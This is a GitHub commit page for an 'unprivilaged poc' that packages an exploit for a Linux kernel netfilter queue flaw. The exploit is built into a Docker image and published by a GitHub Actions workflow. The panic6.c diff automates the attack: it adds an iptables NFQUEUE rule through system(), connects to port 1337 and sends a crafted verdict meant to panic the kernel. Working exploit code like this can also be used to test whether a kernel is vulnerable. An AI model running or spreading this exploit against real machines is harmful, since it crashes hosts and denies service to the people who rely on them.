Skip to content

Commit 3bd11b1

Browse files
committed
unprivilaged poc
1 parent 09e5886 commit 3bd11b1

File tree

3 files changed

+74
-7
lines changed

3 files changed

+74
-7
lines changed

.github/workflows/docker-image.yml

Lines changed: 53 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,53 @@
1+
name: Create and publish a Docker image
2+
3+
on:
4+
release:
5+
types:
6+
- published
7+
8+
env:
9+
REGISTRY: ghcr.io
10+
IMAGE_NAME: ${{ github.repository }}
11+
12+
jobs:
13+
build-and-push-image:
14+
runs-on: ubuntu-latest
15+
permissions:
16+
contents: read
17+
packages: write
18+
19+
steps:
20+
- name: Checkout repository
21+
uses: actions/checkout@v3
22+
23+
- name: Set up QEMU
24+
uses: docker/setup-qemu-action@master
25+
with:
26+
platforms: all
27+
28+
- name: Set up Docker Buildx
29+
id: buildx
30+
uses: docker/setup-buildx-action@master
31+
32+
- name: Log in to the Container registry
33+
uses: docker/login-action@v2
34+
with:
35+
registry: ${{ env.REGISTRY }}
36+
username: ${{ github.actor }}
37+
password: ${{ secrets.GITHUB_TOKEN }}
38+
39+
- name: Extract metadata (tags, labels) for Docker
40+
id: meta
41+
uses: docker/metadata-action@v4
42+
with:
43+
images: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
44+
45+
- name: Build and push Docker image
46+
uses: docker/build-push-action@v3
47+
with:
48+
context: .
49+
builder: ${{ steps.buildx.outputs.name }}
50+
platforms: linux/amd64,linux/arm64
51+
push: true
52+
tags: ${{ steps.meta.outputs.tags }}
53+
labels: ${{ steps.meta.outputs.labels }}

Dockerfile

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
FROM debian
2+
3+
RUN apt-get update
4+
RUN apt-get install -y libnetfilter-queue-dev libmnl-dev libnfnetlink-dev iptables gcc
5+
WORKDIR /exploit
6+
COPY panic6.c panic6.c
7+
8+
RUN cc panic6.c -o nfpanic -lmnl -lnetfilter_queue
9+
CMD ["./nfpanic"]

panic6.c

Lines changed: 12 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -33,6 +33,7 @@ int socket_conn(uint16_t port)
3333

3434
// connect the client socket to server socket
3535
connect(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
36+
return sockfd;
3637
}
3738

3839
int main(int argc, char *argv[])
@@ -71,14 +72,17 @@ int main(int argc, char *argv[])
7172
perror( "mnl_socket_send" );
7273
exit(EXIT_FAILURE);
7374
}
74-
75-
printf("[*] You need to associate to this queue the port 1337: sudo iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
76-
puts("Press ENTER to contiune (and panic)");
77-
getchar();
75+
76+
puts("[*] Linking the nfqueue to a real connection through iptables");
77+
char cmd[200];
78+
sprintf(cmd, "iptables -t mangle -A PREROUTING -j NFQUEUE -p tcp --dport 1337 --queue-num %d\n", queue_num);
79+
if (system(cmd) != 0) {
80+
perror( "system" );
81+
exit(EXIT_FAILURE);
82+
}
7883

7984
puts("[*] Sending a connection packet to nfqueue");
8085
socket_conn(1337);
81-
8286

8387
puts("[*] Waiting for a packet in the nfqueue");
8488
if (mnl_socket_recvfrom(nl, buf, BUF_SIZE) == -1) {
@@ -97,8 +101,9 @@ int main(int argc, char *argv[])
97101
perror( "mnl_socket_send" );
98102
exit(EXIT_FAILURE);
99103
}
100-
puts("[*] Are you still alive?");
101-
104+
105+
puts("[*] Are you still alive? Probably your kernel is not vulnerable :(");
106+
return EXIT_SUCCESS;
102107
}
103108

104109

0 commit comments

Comments
 (0)